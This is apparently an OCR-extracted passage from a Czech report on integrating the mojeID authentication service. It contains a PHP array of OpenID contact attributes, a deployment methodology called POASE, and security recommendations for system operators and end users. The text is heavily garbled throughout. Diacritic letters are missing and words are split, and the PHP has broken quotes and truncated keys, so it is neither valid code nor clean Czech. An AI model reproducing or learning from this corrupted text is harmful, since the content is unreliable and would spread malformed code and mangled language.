‘textt =>'URL — Pracovni’,
'required’' => FALSE
),
'rss' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/rss’,
'textt =>'URL — RSS',
'required’' => FALSE
)

b' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/facebook’,
'text =>'URL - Facebook’,
'required' => FALSE
)

witter' => array/(
'scheme’ =>
‘http://specs.nic.cz/attr/url/twitter',
'text” =>'URL — Twitter',
'required' => FALSE
),
'linkedin' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/linkedin’,
‘textt =>'URL — LinkedIN’,
'required' => FALSE
),
'icq’ => array(
'scheme’ =>
'http://axschema.org/contact/IM/ICQ’,
textt  =>'IM -ICQ)/,
'required’' => FALSE
)

‘fabber' => array(
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'scheme’ =>
'http://axschema.org/contact/IM/Jabber’,
‘textt =>'IM — Jabber’,
'required' => FALSE
),
'skype' => array(
'scheme’ =>
'http://axschema.org/contact/IM/Skype’,
‘textt  =>'IM — Skype',
'required’' => FALSE
)

talk' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/im/google_talk’,
‘text =>'IM — Google Talk’,
'required’' => FALSE
)

live' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/im/windows_live',
'text  =>'IM — Windows Live',
'required’' => FALSE
)

at_id' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/ident/vat_id',
‘text' =>'ldentifikator - ICO’,
'required' => FALSE
)

at' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/vat’,
‘text' =>'ldentifikator - DIC',
'required' => FALSE
)

p' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/ident/card’,
‘text' =>'ldentifikator — OP"',
'required' => FALSE
)

as' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/ident/pass’,
‘textt  =>'ldentifikator - PAS',
'required’' => FALSE
),
'mpsVv' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/ident/ssn’,
‘text'  =>'ldentifikator - MPSV",



'required' => FALSE
)

tudent' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/student’,
‘textt =>'P iznak - Student’,
'required' => FALSE
)

alid' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/valid',
‘textt =>'P iznak — Validace',
'required’' => FALSE
),
'status' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/status’,
‘textt =>'Stavu tu’,
'required’' => FALSE
)

dult’ => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/adult’,
‘text =>'P iznak — Starsi 18 let’,
'required’' => FALSE
),
'image’ => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/image’,
'text =>'Obrazek (base64)',
'required' => FALSE
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12.2. Metodika POASE

LI 1 ! % & ! '
Kdo vyu iva autentizanich slu eb systému
Zhodnoceni, jak je kritické zabezm@ai autenticity u ivatele
Zhodnoceni, kdy je z geografického hlediskastppujiciho u ivatele nutné
provadt autentizaci s vySSim stupn zabezpeeni

Role u ivatel

Al) o % &

Na zaklad analyzy je nutné provést vazbu mezi stavajicintésyem a systémem
mojelD. Ke stavajicim uivatelskym @ m je nutné pdat pole obsahujici identifikator
mojelD v podob textového et zce.

Pro role u ivatel je nutné nastavit po adované oeni u ivatele.

MI 2 % %  +
Smlouva se sdru enim
Pro provozovani slu by mojelD je nutné podepsabskytovatelem Smlouvu o u iti
slu by mojelD pro pihldSeni k systénm poskytovatele. Poskytovatelem je provozovatel
systému, ktery ada o autentizaci u ivatelo svych systém Sou asti smlouvy jsou:
Podminky u iti slu by mojelD pro ghldSeni k systémm poskytovatel
Pravidla poskytovani slu by mojelD pro koncové waiele
Cenik
Kontaktni informace
Ro ni poplatek za u ivani slu by mojelD je stanoven h@00 K (cena platna k 30. 4.
2013).
V ramci Kontaktnich informaci jsou spoteosti CZ.NIC poskytnuty (daje o
kontaktnich osobach ve eech:
Smluvnich

Technickych
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D le itym Udajem v kontaktnich informacich jsou olild$RL poskytovatele slu eb,
tedy ast prostoru URL, pro ni je adost o oweni identity platna. V této oblasti musi le et
navratova adresa.

NI ) # % ( * % &

Zavedeni bezp@é autentizace neni pouze zale itosti ay systému, ale zarovese
jedna o zmnu organizanich pravidel, je nutné provést reviziigguSnych dokument které
se tykaji bezpenosti pistupu a phlaSovani. Revize se tyka nasledujicich dokument

Smrnice o vyuivani informanich technologii (v ppad intranetovych
portal )

Podminky pro vyu ivani slu eb portalu (vipad portalovych aplikaci)

El + F (% !+ 0 &

Na vSechna mista, odkud je mo néihtaSeni uivatel, je nutné pdat odkaz na
p ihlaSeni pomoci mojelD. Dale je nutné proveést omezeihlaSeni pomoci stavajiciho
p ihlaSovaciho mechanismu nasledujicimsabem:

Pro neaktivni dstup (uivatel nema pstup k citivym 0dajm, nem e
schvalovat apod.) systém umoni iftup stavajicim autentizaim
mechanismem nebo slu bou mojelD

Uivatel s aktivnim pistupem se me p ihlasit do systému stéavajicim
autentizanim mechanismem; p aktivni innosti je po adan o phlaseni
s vysSSim stuprmm zabezpeeni

Pro aktivni pistup je zakdzano iplaSeni nedv ryhodnou metodou

ol o0 % &

Pro testovani systému je nutné zvolit reprezentatizorek u ivatel, skladajici se
pokud mono zevSech fpustnych roli. Testovani je nutné provést jak navidi
u ivatelského testovani (funkost, pou itelnost), tak na technické arovni (bezmbhovost,
0 innost, udr ovatelnost, gnositelnost).

Spravce systému musi zajistit pravidelnou kontraplikaci tetich stran zajidujici
komunikaci se slu bou mojelD. Zejména je nutné eleat nov zjiSt né bezpenostni hrozby

a systém co nejdre aktualizovat.
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Bl

(

* % & &

Metodiku POASE nelze chépat jako postup izolovadiykolnich systém Je nutné si

uv domit, e bezpenost je soubor vice opahi a e bezpena autentizace sice sni uje riziko

atoku na autentizai mechanismus, ale nezabezpey systém miru bezpeosti zptn

shi uje.

Pro provozovatele systému jsou nutnosti nasledogidminky:

w0 NP

5.

Portél vyu iva zabezpe&ného pipojeni HTTPS

Na serveru jsou nainstalovany certifikatydryhodné certifikani autority
Doménovy zaznam je zabezpea technologii DNSSEC

Na serveru jsou nainstalovany vSechny beapstni zaplaty pro openai
systém a aplikace

Systém je chram firewallem a systémy detekce piku (IDS)

Pro koncoveé u ivatele plati nasledujici pravidla

Pl
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1. DNS server vyuiva technologi DNSSEC pro oeni pravosti
doménového zaznamu (Ize o snhadno na internetové strance
http://www.nic.cz)

2. U ivatelé neposkytuji své autentiza Udaje tetim stranam

3. Uivatelé udr uji po ita, prostednictvim kterého jstupuji k portalu,
aktualizovany a pou ivaji antivirovy program

4. U ivatelé jsou poueni o hrozbach phishingu a pharmingu

& %

U ivatel musi rozumt eskému nebo anglickému jazyku

U ivatel musi mit pistupu k telefonu v R nebo SR

Metodika neni pou itelna pro neinteraktivni Zmb autentizace

Metodika umo uje ov eni u ivatele pouze s povolenymigtupem na adresu

https://mojeid.cz



12.3. Doporu eni pro koncove u ivatele

137

Aktualizovany operani systém a vSechny aplikace

Aktualizovany antivirovy program (je mo né vyu ibfware zdarma)
Zabezpeeni DNS serveru technologii DNS SEC (ognim strdnky
http://www.nic.cz Ize ovit, jestli je pipojeni chranno DNSSEC), gpadné
nechranné pipojeni konzultovat s poskytovatelem internetu

Kontrola souladu adresy v adresnidalku s po adovanou adresou

Kontrola zabezpeeni spojeni a d7 ryhodnosti certifikatu (prohli ee v tSinou
upozor uji na problémy s certifikaty)

Nepracovat na pdta i pod Utem spravce — pro ély b né prace vytvoit U et
S nizkym opravmim v systému

Nikomu neposkytovat své heslo ani jiné autentizaidaje. Ov eni u ivatele

v dy probiha pes stranku mojeid.cz



